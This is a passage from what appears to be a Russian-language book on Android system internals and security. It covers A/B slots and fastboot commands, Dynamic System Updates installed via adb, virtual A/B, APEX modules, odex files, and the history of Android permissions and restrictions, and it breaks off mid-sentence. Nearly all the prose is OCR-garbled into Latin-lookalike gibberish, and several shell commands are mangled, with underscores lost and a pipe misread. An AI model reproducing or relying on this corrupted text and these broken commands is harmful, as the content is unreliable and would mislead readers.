ChenaTtb HeaKTUBHbLIN B AaHHbLIN MOMEHT CNOT aKTUBHbLIM:

$ fastboot set active other

CaenaTb aKTUBHBIM yKa3aHHbI CnoT («a» unn «by):

$ fastboot set active CJIOT
MpowwnTb ykasaHnHbI pasaen:

$ fastboot flash mma_paspena a partition.img
$ fastboot flash mma pazmena b partition.img

OuHamuueckme obHosneHus

Project Treble oTkpbin mopory ans eule oqHOH BecbMa none3Hoi ¢yHkuun — Dynamic
System Updates (DSU). Otot Mexanu3m nossusics B Android 10 cneuuanbHo A1s nosb-
30BaTesneit U pa3paboOTUHKOB, KENAIOLWMX MPOTECTHPOBATh HOBYIO OeTa-BepcHio Android,
HO He )enalollrX XKepTBOBaTh U1 3TOr0 YCTaHOBIEHHOH B JaHHbIA MOMEHT CHCTEMOM H
CBOMMH JaHHBIMH.

DSU 6asupyercs Ha TexHosnoruu Dynamic Partitions (https:/source.android.com/
devices/tech/ota/dynamic_partitions/implement), koTopas no/mKkHa ObITb pearM3oBaHa
BO BCEX YCTPOMCTBAaX, BBIMYLIEHHbIX Ha pbIHOK ¢ Android 10 u Beiwe. Ilpyu ucnonb3osa-
vuu Dynamic Partitions B cMapTdoHe, no cyTH, ecTb TONBKO OQHH Cyneppaszes, B KOTo-
POM cHCTeMa MOXKET CO3JaBaTh AMHAMHYECKHE pa3lielbl, YAANATb UX U MEHATb pa3Mepbl
(Takoe Bo3MOXxHO Gaaroaaps mMoayo sapa Linux dm-linear).

Bce cucteMHble pazaensl B TaKOM cMapTgoHe Toxe AMHaMH4eckre (KpoMe 3arpy30uHbIX
pa3fenoB: boot, dtbo U vbmeta). [lo3TOMY MpH HEOOXOAMMOCTH CHCTEMA MOXKET CABUHYTh
UX, YTOObI OCBOOOAMTL MECTO IUis JOMOJHUTENbHbIX pa3zenoB. MIMeHHO Tak nenaeT
¢yukuus DSU. OHa yMeHblUaeT pa3Mep CUCTEMHBIX pa3iesioB, CO3AaeT B 0CBOOOAMB-
IIEMCSA MPOCTPAHCTBE elle OAMH Habop CHCTEMHBIX Pa3lesioB M YCTAHABIMBAET B HEro
o6pa3 GSI. [lanee cmaptdoH nepesarpyxaercs B 3Ty CBEXKEYCTaHOBJIEHHYIO CHUCTEMY, a
cllenytowas nepesarpy3ka npoMcXOoAUT BHOBb CO CTaHAAPTHBIX pa3lesioB.

Yro6b1 ycTaHoBUTb 00pa3 GSI, ucnonezys DSU, ans Hayana Heo6xoaumo pa3biokupo-
BaTh 3arpy3uuk cMaptdona. 3aTeM HyxHo akTuBrupoBath DSU ¢ nomowbio ADB:

$ adb shell setprop persist.sys.fflag.override.settings dynamic_system true

[Tocne »Toro HeoOxomumo ckayate cam oOpa3 (https://developer.android.com/
preview/gsi-release-notes), pacrakoBaTh ¥ 3aKWHYTb €O Ha BHYTPEHHIOIO KapTy MaMATH
cmapT¢oHa:

$ gzip -c system raw.img > system raw.gz
$ adb push system raw.gz /storage/emulated/0/Download/
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3aTeM MOXHO 3aMyCTUTD MPOUECC YCTAHOBKHU!

$ adb shell am start-activity \

-n com.android.dynsystem/com.android.dynsystem.VerificationActivity \
-a android.os.image.action.START INSTALL \

-d file:///storage/emulated/0/Download/system raw.gz \

--el KEY SYSTEM SIZE $(du -b system raw.imglcut -f1) \

--el KEY USERDATA SIZE 8589934592

[Mocne okOHYaHUA YCTAHOBKH B ILUTOPKE MOSBUTCA YBEAOMIICHHE C TPEINIOXKEHHEM Tepe-
3arpy3utbes (puc. 3.3).

CnoxHo, He npasaa 1u? MMeHHo nostomy B Android 11 nosBunack ¢yHKUMS Noja Ha-
3paHreM DSU Loader. OHa no3BosisieT aBTOMaTHYeCKH 3arpy3uTb M YCTaHOBHTb oOpa3
GSI ¢ moMoubio napsl KIMKOB (puc. 3.4).

Puc. 3.3. Mpeanoxexune nepesarpy3nTe cMapThoH Puc. 3.4. DSU Loader
nocne ycraHoskn GSI



44 YACTb I. nasa 3

BuptyanbHas A/B-pasmetka

Kpome Bo3MOXXHOCTHM BpemMeHHOH ycTaHoBkM oduumanbHbix cObopok GSI, MexaHusm
DSU Taroke no3sonua peannszosathb ewe oaHy ¢pyHkuuio — Virtual A/B. Panee Mbl yxe
paccMaTpHBanu npeumyluectsa A/B-pazMeTku M TO, kakMe NpoOiaeMbl OHa MOXeT pe-
wuTh. OHaKO BBMAY MOTEPH MPOCTPAHCTBA, KOTOPOE MOXKET MpHHecTH ¢ cobor A/B-
pa3MeTKa Ha YCTpPOUCTBaxX ¢ orpaHHYeHHbIM 00beMoM NAND-namsaTH, a Takke npobnem
¢ murpauueit, Google He creLWMT 3acTaBisTbL NPOU3BOAUTENEH CMApTHOHOB HCMONB30-
BAaTb HOBYIO pa3MeTKy.

Bmecro 3Toro oHu cozganu BuptyansHyto A/B-pazmetky. Paboraer oHa npumepHO Tak
e, KaK JMHaMU4ecKHe OOHOBJIEHHS, TOJIbKO 0€3 OTKaTa Ha paHee YCTaHOBJEHHYIO Mpo-
wueky. Korna cmapton obHapysxusaer HoBoe OTA-0GHOBIEHHE, OH CO3aET HECKOJIb-
KO JIOTIOJIHMTENIbHBIX CUCTEMHBIX Pa3Je/ioB A/ HOBOW NMPOLIMBKH, CKAYMBAET B HUX 00-
HOBJIEHHE, a 3aTeM [JeNaeT 3TH pa3/ie/ibl akTUBHBIMHU (Kak U B cilyyae ¢ A/B-pa3mertkoid).
[Tocne cnenytowed nepesarpy3kud cmapToH 3arpyxaercs Y)Ke C HOBBIX pa3/esioB,
W €CJIM 3arpy3ka MpPOXOAMT YCMELIHO, TO CTapble pa3aesibl yIalloTCa, a OCBOOOXKAEHHOE
UMM MECTO OTAAeTCs pas3fdeiy userdata. BupTyanbHas A/B-pazmerka ob6s3atensHa mns
BCEX YCTPOMCTB, BblLeAWMX Ha priHOK ¢ Android 11.

MoaynbHeze o6HOBNEHUA

Euie oavH war B peweHuu npodnembl ¢ o6HoBIeHUsMH — Project Mainline. Dto BHe-
apeHHas B Android 10 moacucrema, nosponsiowas o6HoBnsThL Kycku Android B 06xon
NPOU3BOJNTENA YCTPOMCTBA.

B ueHtpe HOBOI moacucTeMbl HaxoaAUTCS nakeTHbId MeHemkep APEX, oueHb noxoxwuii
Ha TOT, 4YTO HcMoablyeTcs B AUcTpuOyTuBax Linux W HoBoi onepaunoHke Google
Fuchsia (puc. 3.5). PaGotaet oH npuMepHO Tak: JONYCTUM, MO OYEpeAHOMY YKazy npa-
BUTENAbLCTBA B POCCHM BHOBb MPOMCXOAMT CMEHa YacoBbix nmoscoB. KomaHaa paspaboruu-
koB Android ¢opmHpyeT HOBYIO BEpCHIO MaKeTa ¢ YaCOBbIMHM MOSACAMM M BbIKJIA/AbIBAET
ee B Google Play. [lonb3oBarenu nonyyarot oOHOB/IEHHE — BCe cYacTauBbl (puc. 3.6).

Puc. 3.5. Coaepxumoe naketa APEX
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Puc. 3.6. O6HoBNeHWe YacoBbIX NOSICOB Ha cMapTdoHe Samsung

Takum xe 006pa3om MoryT ObITb OOHOBNEHB OMONHOTEKH U Lienble noacucTemsl. B AOSP
JOOCTYNHbI nakeTbl ¢ paHTaiiMoM ART, Gubnunoreka kpunrorpaduueckux aaropuTMoB
Conscrypt, Habop MyJIbTHUMEOUHHBIX KOIEKOB, MYJIbTUMeIWitHbIH ¢peiimBopk, DNS-
pesoneep, uHrepderic Documents Ul, Permission Controller, ExtServices, naHHble yaco-
Bbix noscoB, ANGLE (nmpocnoiika ans tpaHcnsunu BbizoBoB OpenGL ES B OpenGL,
Direct3D 9/11, Desktop GL u Vulkan) u Captive Portal Login. B Android 11 k Hum 1o-
6asunncy cnepyrowne naketbl: Tethering, NNAPI, Cell Broadcast Receiver, adbd,
Internet Key Exchange, Media Provider, statsd, WiFi u SDK extension (APl HoBbIX Bep-
cuii Android ans crapeix Bepcuii). B Android 12 pomkHa ao6aBuTCs BUpTyaibHas ma-
wuHa ART.

B Teopun B naker APEX MoxHO ynakoBaTh npakTH4YecKH JI000H KOMIOHEHT CUCTEMBbI H
MoJb30BaTE/IM CMOTYT OOHOBHTDb €r0 HE3aBUCHMO OT MPOU3BOANTENS cMapTOHa.

HurepecHo, uro APEX He npon3BoauT 0OHOBNEHHE «HA XKHMBYIO», KOTAA CTAPbIH KOMIIO-
HEHT 3aMeHsieTcs Ha HOBbIH. Paznen /system B Android HegocTyneH a1 3anucH, NO3TOMy
APEX ucnonb3yeT Tpiok ¢ MOHTHpoBaHWeM. Bce oOHoBnsiembie aiyibl BHyTpH makera
APEX naxopstcs B obpase daiinoBoii cuctemsl Ext4. Korna npoucxoanT «ycTaHOBKa»
nakeTa, CHCTeMa MOHTHpPYET 3TOT o0pa3 noeepx pasaena /systemB pexxume bind. B pe-
3ynabTaTe Qainbl nakera kak Obl 3aMEHSIOT opurMHaibHble daidnbl Android, xoTs B pe-
allbHOCTH BCE OCTaeTcs Ha CBOMX MecTax (puc. 3.7). Takoi e Tptok ucnonblyer Magisk
ans ycraHoBku moaudukaumii Android 6e3 uameHeHus paszaena /system.
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Puc. 3.7. Npouecc «ycraHoBku» naketa APEX

Tprok ¢ coxpaHeHuem NpOCTpaHCTBA

BHumarensHo npounTas pasgen «A/B-pa3merkay, 4MTaTeNlb MOT 3aMETHTb, YTO 3KOHO-
MHS IPOCTPAHCTBA NMPH TaKOH pa3MeTKe B OCHOBHOM JIOCTHIaeTcs 3a CYET COKpalleHHs
pa3mepa pa3zena system B ABa pasa. Ml neno 3neck BoBce He B TOM, uTo npu A/B-pasmeTke
MCNoJIb3yeTes Kakas-To CreLManu3upoBaHHas cbopka Android, a B 0TKa3e OT WIMLIHUX»
taiinos.

B knaccuueckoM BapvaHTe pasMeTKM CHCTEMHbIH pa3zen comepkuT B ceGe He TONbko
camy OrnepauMOHHYIO CUCTEMY, HO M TaK Ha3biBaeMble ¢aiinbl odex. OHU npeacTaBisiOT
coboii onTUMU3MpoBaHHbIe (MporyileHHble Yyepe3 AOT-komnunsTop) Bepcuu dex-daii-
JIOB, KOTOpbIE, B CBOIO OUYEPE/lb, COAEPHKAT KO MPUITOKEHHS.

@aiinbl odex no3BoAsAOT COKpaTUTb BpeEMs CTapTa NMPHUJIOKEHUA U NMOBBICUTL €ro NPOH3-
BOAUTENBLHOCTb. OHH MOTyT OBITh CO3JaHbl TpEMA ITYTAMH!

a NPEUHCTANIMHPOBAHbI Ha yCTpOﬁCTBO (B KJ1aCCHYECKOM BAapUAHTE pa3METKH — B pas-
aen system);

O creHepypoBaHbl JUHAMHUYECKH BO BpeMsl MCMOJIb30BAHUS MPHUI0XKEHUS WIH MPOCTOA
YCTpOICTBA;

3 sarpyxeHbl u3 Google Play BMecTe ¢ caMuM npUnoXxeHHEM.

OtcytcTBue ¢aitioB odex MOXET cepbe3HO WCMOPTHUTH MOJIb30BATENIO BIEYATIEHHE OT
nepBoro 3anycka cMapTdoHa (BpeMs 3arpy3KH MOXET COCTaBUTh HECKOJbKO MHUHYT BMe-
CTO JECATKOB CEKYHA), MO3ITOMY OHU HeoOxoauMb! cpasy. C Apyroil CTOpPOHbI, OHH 3aHH-
MaloT NMPUMEPHO MOJIOBUHY BCEro MPOCTPAHCTBA pa3fela system, a €CJIM 3TOT pasfed
npony6nupoBaTh, TO NOTEPsS MPOCTPAHCTBA CTAHET CYLIECTBEHHOIA.

HMeHHO mo3TOoMy pa3paboTYMKH OTKa3ajiuch OT MpeayCTaHOBKM (painoB odex B aKTHB-
HblI CUCTEMHbII pa3fiesl, a BMECTO 3TOTO pa3MECTHIIM UX B HEAKTMBHOM CUCTEMHOM pa3-
Jefie BMECTO KOTMWHU OMEpauMoHHOM cucTembl. Tak 4TO >KU3HEHHbI UMK cMapTdoHa
¢ A/B-pa3MeTKOH BBIMSIUT TaK:
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1. Ilpu BeIMycke ¢ KOHBe#epa pa3aen system a — aKTHUBHBIN, coaepxuT Qaiibl onepauu-
OHHOM CHCTEMBI, HO pa3fielN system b — HEAKTUBHBIH, COAEPXKHUT daitnbl odex;

2. Bo Bpems nepBoro 3amycka cucteMa Konupyer ¢ainibl odex B pa3zaen userdata;

3. Mocne nonyuyeHns neporo OTA-0GHOBNEHUS cHUCTeMa 3amMChIBA€T OOHOBJIEHHWE
B pa3fiell system b, Jajnee 3amycKaeT mnpouecc reHepauuu aitnoB odex (MHCTpyMEHT
dex2oat) nnsa HoBo Bepcun OC (oHHU Takoke 3anMchiBatoTca B userdata) U mocne ero
3aBEpLICHHUA MOMEYaeT pa3fieN system b (Bce pasaensl ciota B) kak akTHBHbIH;

4. Tlocne mnepesarpy3ku cMapThOH 3arpykaet ONEpaLUMOHHYIO CHCTEMY C pa3szena
system b, HCMO/b3Ysl CTEHEPUPOBaHHbIE Ha TPETbeM dTarne ¢aiinbl odex.






FrMMABA 4

BpoHs Android

[ToHATH CMBICTT M Ha3Hau€HME 3aIUUTHBIX MeXaHu3MoB Android mpoiue Bcero B perpo-
crekThBe. A UMEHHO — HW3Y4HuB, Kak ObUla peanu3oBaHa 3aliuMTa (WIH €€ OTCYTCTBHE)
B nepBbiX Bepcusax OC u Kak ¥ 3a4eM OHa MEHsJIach BIOCIIEICTBHH.

Hrak, Android 1.0 — nnatdopma, BeimyieHHas oceHsto 2008 roma BMecte co cMapTdo-
HoM HTC Dream (T-Mobile G1). be3onacHocTh obecneuynBanach MATHIO KJIHOUEBHIMH
NoACHCTEMAaMHU:

1.

PIN-kox 3kpaHa G10OKMPOBKH Ul 3alUMTHl OT HECAHKLIMOHHPOBAHHOTO (HU3MYECKOro
J0CTYyTa.

. Hecqunubl (l/l3OJ'lPlPOBaHHaﬂ cpeaa l/lCHOJIHeHI/lﬂ) JJ1A HpH.JIO)KCHHﬁ. PeannzoBaHbl

MyTeM 3allycka KaXAO0ro MPHIOKEHUS OT UMEHH CO3[JaHHOrO CMELHANbHO Ui HEro
nonb3oBarens Linux. [IpunoxkeHre nMeeT NOMHBIA KOHTPONb Haj daiinamMu cBoel ne-
COYHHUPBI (/data/data/umsa.naxera), HO HE MOXKET MOJIyYHTh JOCTYI K CHCTEMHBIM daii-
nam U ¢ainam Apyrux npunoxxeHuid. ETMHCTBEHHBIH crioco® NOKUHYTh MECOYHULY —
NOJIy4YUTh Npasa root.

. Kaquoe TMPUJIOKEHUE 00s13aHO YKa3bIBaTb CIIMCOK HYXXHBIX JIA cBoOE€it pa60T1>1 1noJI-

HoMouuil B MaHudecTe. [ToTHOMOUYHS MO3BONAIOT MCIOIBL30BaTh T€ WIIH MHBIE CHC-
temHble API (gocTyn k kamepe, MUKpoOHY, ceTH U T. A1.). X0Ts coOII0AEHUE TIOITHO-
MOYHii KOHTPOJIUPYETCS Ha HECKOJIBKUX YPOBHSX, BKIIoYas sapo Linux, sBHO 3ampa-
IIMBaTh MX y TOJIb30BATENsd HE HYXHO; NMPUJIOKEHHE aBTOMAaTHYECKH MOJY4YaeT BCeE
nepevyUciieHHbIE B MaHU(ECTE MOJTHOMOYHSA, U MOJIb30BATENIO OCTaeTCs JIMOO yCTaHo-
BUTb NPUIIOKEHHE, NPEIOCTABMB €My BCE TOJTHOMOYHS, JUOO HE yCTaHaBIMBATh €TO
BOBCE.

KonTtponb moctyna Ha ocHOBE MOJTHOMOYMH HE paclpoCTpaHAETCA Ha KapThl MaMATU U
USB-Hakonutenu. OHu ucnonesyiot ¢ainoByto cucreMy FAT, kotopas He mo3Bosser
Ha3HAYMTh MpaBa JOCTyna K dainam. Jlloboe npunoxeHHe MOXKET YUTATh COAEPKUMOE
BCEH KapThl MaMsATH.

1.

[punoxeHus nomkHBI GBITH MOANMCAHBI KIIOYOM pa3paboTumka. Bo BpeMs ycraHoB-
KU HOBOH BEPCHH NMPHJIOXKEHHUS CUCTEMA CBEpAET LUGPOBbIE MOAMUCH CTAPOH U HOBOH
BEPCHH NPUIIOKEHHS U HE AOMyCKAaeT YCTAHOBKY, €C/IM OHM He coBmagaroT. Takoii
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MOAXO MO3BOJIAET 3alMTHTL MOJIB30BATENd OT GMIUMHIa M KPaKH AaHHBIX, KOraa
TPOSH NPUKHIBIBAETCS JETMTHMHBIM MPUIOKEHHEM U TIOCIe «OOHOBIEHHUA» NONyYaeT
A0CTyN K ¢aiiaM OpUrHHaAILHOTO NPUIOKEHHS.

2. SA3bik Java ¥ BHpTyaibHas MalliMHa o0ecreyuBaloOT 3aLUUTY OT MHOTMX THIIOB aTak,
nepea KOTOPBIMU YA3BMMbI NPHIOXKEHUS Ha HeOe3onmacHbIX fA3blKax, TakWX Kak C u
C++. [TepenonHeHue Oydepa MaM NOBTOPHOE MCMONb30BaHHE OCBOOOXIAEHHON Nams-
TH B Java HEBO3MOXHBI B IPUHLIMITE.

B T0 >xe Bpems 3HauMTENbHAS YaCTb ONEPALMOHHON CHCTEMBI, BK/IIOYAs CUCTEMHBIE CEp-
BUCbI, BHPTYallbHYl0 MallHMHY, MYJbTUMEIWiHbIe OUOIHOTEKH, CHCTEMY pEHAEpPHHra
rpadukm, a TakoKe BCE CETEBbIE MOACHCTEMBI, HaITUCaHa Ha TeX cambiX Hebe3onacHbix C U
C++ u pabotaloT ¢ npaBaMu root. YA3BUMOCTb B OJJHOM H3 3TUX KOMIIOHEHTOB MOXET
ObITh UCNOJIB30BaHA N1 MOMY4YeHHs MoaHOro koHTponsa Haa OC unu BeinoaHeHus DoS-
atrakd. HTC Dream Obin «B31oMan» Gnarozmaps ToMy, 4To cepBHc telnet, npeaycraHoB-
JIeHHbIH Ha cMapT¢oH, paboTan ¢ nMpaBamH root.

Ecnu >xe roBopuTb O CTaHOAPTHBIX MPHIOKEHUAX, TO OHH XOTb U HE MMENH Mpas root
1 paGoTany noa 3aulMTON BHUPTYaJbHOW MalUWHbI B COOCTBEHHOM MECOYHMLE, TaK HIIU
MHaye UMeJIH LUIMPOKHUE BO3MOXKHOCTH, CBOHCTBEHHbIE AECKTOMHBIM ONEPaLMOHHbIM CHC-
TemaM. [Tpy HaTMYMK HY>KHBIX NpaB CTOPOHHEE MPUIIOKEHHUE MOTJIO CAENATh OYEHb MHO-
roe: MpouuTaTh cmickd SMS 1 3BOHKOB, Mpo4MTaTh MOObIE (ainbl Ha KapTe MaMsaTH,
NOJIYYUTh CMHUCOK YCTAHOBJIEHHBIX MPUIIOXKEHHH, paboTaTh B pOHE HEOrpaHHUUEHHOE KO-
JINYECTBO BPEMEHH, BBIBOJUTH rpaduKy MoBepX OKOH APYrHX MPHUNOXKEHHIH, MosyvaTb
UHOpMaLMIO NpakTHYeCKH 000 BCEX CHCTEMHBIX COOBITHAX: YCTAHOBKA MPHIIOXKEHHS,
BKJIIOYEHHUE/BLIKITIOUEHHE 3KpaHa, 3BOHOK, MOIK/IIOYEHHE 3apsAAHOro yCTpOHCTBA U MHO-
roe Apyroe.

Ctporo roeops, Bce 3TH APl He 6buTH yS3BUMOCTAMH B MpSMOM cMbicie cioBa. HaoGo-
POT, OHM OTKpBIBAJM LUMPOKHE BO3MOXHOCTH A/ NPOrpaMMHCTOB M, KaK CIIEICTBHE,
nonb3oBareneii. [Ipobnema Tonpko B TOM, uTo ecsiin B 2008 rony 3T BO3MOXHOCTH He
co3aBaaM 0coObIX NMpoOieM BBUAY OPHEHTHPOBAHHOCTH PblHKA CMApT(OHOB Ha SHTY-
3MacTOB U OM3HECMEHOB, TO Y)K€ 4Yepe3 HECKONIBKO JIET, KOraa cMapThOHbI MOTyYHIn
pacnpocTpaHeHUe Cpey BCEX IPYMNN HaceeHHUs, CTal0 MOHATHO, YTO MPHJIOXKEHHUS He-
00X0AMMO OrpaHU4YMBATh.

TTonHomouus

EcTe aBa cnocoba OrpaHHYUTL MPUIIOKEHHA B NMpaBaX U HE NOMNYCTHUTb UX 3JIOBPEAHOIO
BJIMSAHHUS HA CUCTEMY H NMOJIb3OBATENbCKHUE JAaHHBIC!

1. Ype3aTb BO3MOXHOCTH BCEX NPWIOKEHHH 1O MMHMMYMa, Kak 3TO ObLIO caenaHo
B J2ME.

2. TTo3BOJIUTH MOB30BATENO KOHTPOJHPOBATH AOCTYIHbIE MPUIOKEHHIO BO3ZMOXHOCTH
(nyTs 108S).

Android, HecMOTps Ha CyILECTBOBAaHME MOLIHOW CHCTEMBI pa3lesieHHs MOJTHOMOYHUH
BHyTpu OC, He No3BONsI HU TOro HU apyroro. [lepBele HaMeKH Ha CHCTEMY FpaHysp-
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Puc. 4.1. CkpuiToe meHio App Ops B Android 4.3

HOro KOHTPOJIS MOJHOMOUYHH MOABUIUCH TObKO B Android 4.3 BMecTe cO CKpLITHIM pa3-
nenom Hactpoek App Opps (puc. 4.1.).

Hcnonw3ys 3TH HacTpoikH, Moab30BaTENb MOT OTO3BATh Y MPUIOXKEHHUS MOObIe JOCTYI-
Hble €My MOJHOMOYHMS MO oTAenbHOCTH. OHaKO Ha3BaTh 3Ty cUCTeMy ynoOHOH W apy-
XenoOHOH M0 OTHOLUIEHUIO K MOJIb30BATENO ObIIO HENb3s: YNpaBlieHHEe pa3pelleHUIMU
Ob110 Yepecuyp rpaHyASpHBIM, IPUXOJUIOCH OPUEHTUPOBATBCA CPEAM JECATKOB pa3/iny-
HBIX pa3pelieHHH, CMBIC]T KOTOPBIX YacTo ObUT HermoHsATeH. [Ipu 3TOM 0T3BIB Jt06OrO pas-
pELIEHHs MOT MPHUBECTH (M 4acTO NMPHUBOAMI) K MAJAEHHIO NPUIOKEHUS, T. K. B Android
npocto He 6610 API, KOTOpBIH GBI MO3BONK MPOrPaMMHUCTY TMOHSATH, HMEET €ro MpPHUIIO-
’KEHHE pa3pelleHHe Ha BHINOJHEHHE TOro WIM WHOTo JeHCTBHS WM HeT. B urore cucre-
Ma App Ops 6bina yaaneHa u3 Android yxxe B Bepcuu 4.4.2, u Toneko B Android 6 eii Ha
CMEHY MNpHILIA CYLIECTBYIOLLAS 10 CHX MOP CUCTEMA MOJTHOMOYMIA.

B atoT pa3 unxxeHepsl Google mowiy ApyruM myTeM U 0ObEJUHUIA CMEXKHBIE MOJIHOMO-
Yus, TIOTYYUB B UTOre CEMb META-TNIOJIHOMOYMH, KOTOpble MOTYT OBITh 3ampolUEHbI BO
BpeMs paboThl MpUIoKeHHs. B ocHOBe cucTeMsbl nexkan HoBbI API, nozsonuBLMi npo-
rpaMMHCTaM MPOBEPATE JOCTYNHblE TNPWIOKEHHUIO MOJHOMOYHMA M 3alpalliBaTh HX
B HY>XHbIE MOMEHTbI BpEMEHH.
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[To6ouHbIM 3¢ddexToM Takoro moaxona crana... 6ecrone3HOCTb HOBO# cucTtembl. [leno
B TOM, YTO OHa paboTaa HCKJIIOYMTEIBHO B OTHOIUEHHH NMPUIIOKEHUH, COOpaHHBIX /A
Android 6.0 u Bbie. Pa3zpaboTunk npuaokeHHs MOT yka3aTh B paBHIaX cOOPKH AUpeK-
THBY targetSdkVersion 22 (T. €., Android 5.1), U ero npunokeHue NPOJOIKUIIO OBl MONTy-
4aTh BCE MOJTHOMOYHS B aBTOMATHYECKOM pEXHME.

Google 6bina BIHY)XIE€Ha peali30BaTh CHCTEMY MMEHHO TaKUM 00pa3oM, 4ToObI coxpa-
HHTb COBMECTHMOCTb CO cTapeiM codrom. ITo-HacTosleMy OHa Hayana OeHCTBOBaTb
TONBKO CITYCTA ABa rofia, koraa Google Beena tpedosanre munuMansHoro SDK B Google
Play, T. e. mpocTo 3anperwna my6aMkoBaTh NMPUIOXKEHUS, COOpaHHBIE Ui YCTapeBLINX
Bepcuit OC. OkoHYaTeNnbHO pelIeHHbIM Bonpoc cranl Tosbko B Android 10, kotopas no-
3BOJIJIA OT3bIBAaTh MOMHOMOYMSA Y codTa, cobpanHoro 1is Android 5.1 u Huxe.

B Android 11 cucrema nmonHoMouHit OblTa pacIIMpeHa M Terepb MO3BOJAET MPEAOCTaB-
JSTh pa3spellieHHe Ha Ty WIIM HHYIO ONEpaLHIO TOJBKO Ha oiuH pa3. Kak Tonabko npuno-

’KeHHUe OyNeT CBEpHYTO, OHO MOTEPAET pa3pellieHHe U ero NpUAETCs 3anpalidBaTh CHOBa
(puc. 4.2).

Puc. 4.2, OgHopasosble paspelueHus B Android 11

OrpaHuyeHus

CucteMa ynpaBieHHA pa3peli€HHMSMH — TOJBKO 4acTb pelieHus npobiemsl. Bropas
4YacTh — 3aNpeT Ha MCIoJb30BaHUe onacHbIX API. MoxHo fponro cnopuTh, CTOMT M Mo-
3BOJIATH CTOPOHHHUM NpHIoKeHHAM noiydats IMEI Tenedona ¢ noMowpio pasperueHui,
WIH HeoOXOAHMO 3aNpeTHTh AenaTth 3T0 Boce. Jlna Google, Bxoasiuen B 3noxy Totajib-
HOTO MOMELIATENbCTBA Ha IPUBATHOCTH, OTBET ObLT O4YEBHACH.

HecMmotps Ha 1o uto Google M paHblie BBOAWIA 3anpeThl Ha MCMOJB30BaHHE TEX WU
UHbIX APl (MOXXHO BCIOMHHUTB, HalIpUMeEp, 3aMpeT Ha BIVTIOYEHHE PEeXHMa MoJIeTa U Noj-
TBep)KAeHHE oTnpaBku SMS Ha kopoTkue Homepa B Android 4.2), akTuBHBIE OO€EBbIE
JeicTBUA Havyanuch Tosbko B 2017 romy.
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HaumnHas ¢ BoceMo#t Bepcun Android ckpbIBaeT MHOTHE HAEHTH(UKATOPBI YCTPOHCTBA OT
npuioxxeHut ¥ apyrux yctpodctB. Android ID (Settings.Secure.ANDROID ID) — YHH-
KanbHBIH HaeHTH¢MKatop Android, Temepb pa3nMyeH IS KaXIOro YCTaHOBJIEHHOTO
npunoxeHusi. CepuiiHblii HOMep YCTpOHCTBa (android.os.Build.SERIAL) HENOCTYINEH
npuioxeHusMm, cobpanHeiM s Android 8 u Bbeime. CopepxkuMoe nepeMeHHOMR
net.hostname Tenepb nmycto, a DHCP-knueHT Teneps HUKOraa He MOCHUIAET XOCTHEHM
DHCP-cepBepy. Ctanu HeOOCTyNHbl HEKOTOpBIE CHCTEMHBIE NEPEMEHHBbIE, HalpH-
Mep ro.runtime.firstboot (Millisecond-precise timestamp of first boot after last wipe or
most recent boot).

Hauunas ¢ Android 9 npunoxenus 6onblie He MOTYT NPOYUTATh CEPUHHBII HOMEp YCT-
poiicTBa 6€3 MOMHOMO4HS READ PHONE STATE. B Android 10 nmosBuiock orpaHH4YeHHE Ha
noctyn k IMEI u IMSI. Uto6sl npountaTh 3Ty HHGOpMaLHIo, Tenepb TpebyeTcs paspe-
IIEHWE READ PRIVILEGED PHONE STATE, HEAOCTYITHO€ CTOPOHHHM MPUJIOKEHHUAM.

Hna nonydyenus MAC-agpeca Bluetooth B Android 8 u Bbiie TpeGyercs paspeleHue
LOCAL MAC ADDRESS, @ MAC-aapec WiFi panaoMusupyetcs npH npoBepke JOCTYIHBIX ce-
Teil (4ToOBI M30eXaTh TPEeKHHra MoJIb30BaTENE, HAPUMEpP MOKYMNAaTened B TOProBbIX
LEHTpax).

B Andorid 9 Google noiia HaMHOro fanblie U BBEJa 3aMpeThl Ha HCIOIb30BaHHE KaMe-
pbl, MHKpOodOoHa U JIIOOBIX CEHCOPOB, MOKa MPWIOXKEHUE HaxoauTcs B ¢oHe (OoCTaBMB
BO3MOXXHOCTb MCIOJIb30BaTh KaMepy U MUKpPOGOH «BHAMMBIM cepBHcam» — foreground
service). B Android 10 x 3TiuM 3anpeTtaM 1o6GaBWIICS 3ampeT Ha JOCTYI K MECTOMOJIONKE-
HUIO B QOHe (Teneph I 3TOro HyXKHO pa3pelleHHe ACCESS BACKGROUND LOCATION) U 3ampeT
Ha yTeHHe Oydepa o6MeHa B GpoHe (Hy>KHO pa3pelleHHe READ CLIPBOARD IN BACKGROUND).

Eume omHo BakHoe HOoBoBBeAeHHMe Android 9 — nonHBIA 3amper Ha HCMOJIB30BaHHE
HTTP 6e3 TLS (1. e. 6e3 wudpoBaHus) i BceX NPUIOKEHHH, COOpaHHBIX U1 HOBOM
Bepcud Android. DTo orpaHuYeHHe TEM He MeHee MOXHO ODOMTH, eclid yKa3aTh B (aii-
e HacTpoek 0€30macHOCTH ceTH (network security config.xml, https://developer.
android.com/training/articles/security-config.html) cnucok pa3peleHHbIX JOMEHOB.

Android 10 BBen 3anper Ha 3amyck akTUBHOCTEH (IO CYTH, 3aMyCK NpHiIoxeHHi) GoHo-
BBIMU MpuioXeHUAMH. Hckmouenus caenanel ns  bound-cepBucoB, TakMX Kak
Accessibility u cepBuchl aBTo3anonHeHus. [IpuoXkeHus, UCTONB3YIOIIKE pa3peLieHHe
SYSTEM ALERT WINDOW, W TPWIOXKEHHs, TMOTy4Yalollde HMS aKTHBHOCTH B CHCTEMHOM
PendingIntent, Taioke MoryT 3amyckarb akTUBHOCTH B ¢oHe. [ToMHMO 3TOro npuiyioskeHus
Ternepb HE MOTYT 3alycKaTh OMHapHble ¢daiinbl U3 COOCTBEHHOTrO NMPUBAaTHOrO KaTalora.
OT0 yxe npuBeso k npodiaeMam B pabote nomynsipHoro npunoxenus Termux.

Haunnas ¢ Android 11 npunoxeHus Gonbuie He MOrYT MOJIYYHTh NPAMOH JOCTYN K Kap-
Te MamATH (BHYTPEHHEH WM BHELUHEH) C MOMOLUBIO pa3pelleHHi READ EXTERNAL STORAGE
M WRITE EXTERNAL STORAGE. BMecTo 3TOroO ciiemyer ucrnonb3oBaTh JHOO JMYHBIA KaTauor
NPUIIOXKEHUS BHYTPH /sdcard/Android (OH CO3/aeTcs aBTOMAaTHYeCKH M He TpebyeT pas-
pewenwmii), 6o Storage Access Framework, He momyckaromuit 1ocTyn k JaHHBIM ApY-
MX NPUIIOKEHUH.

HHrepecHo, uro Google orpaHHYMBaeT CTOPOHHHE MPUIIOKEHHS HE TOJBKO CPEACTBAMH
onepauuoHHoi cuctembl. B koHue 2018 roga B Google Play nossunoce TpeGoBaHue,
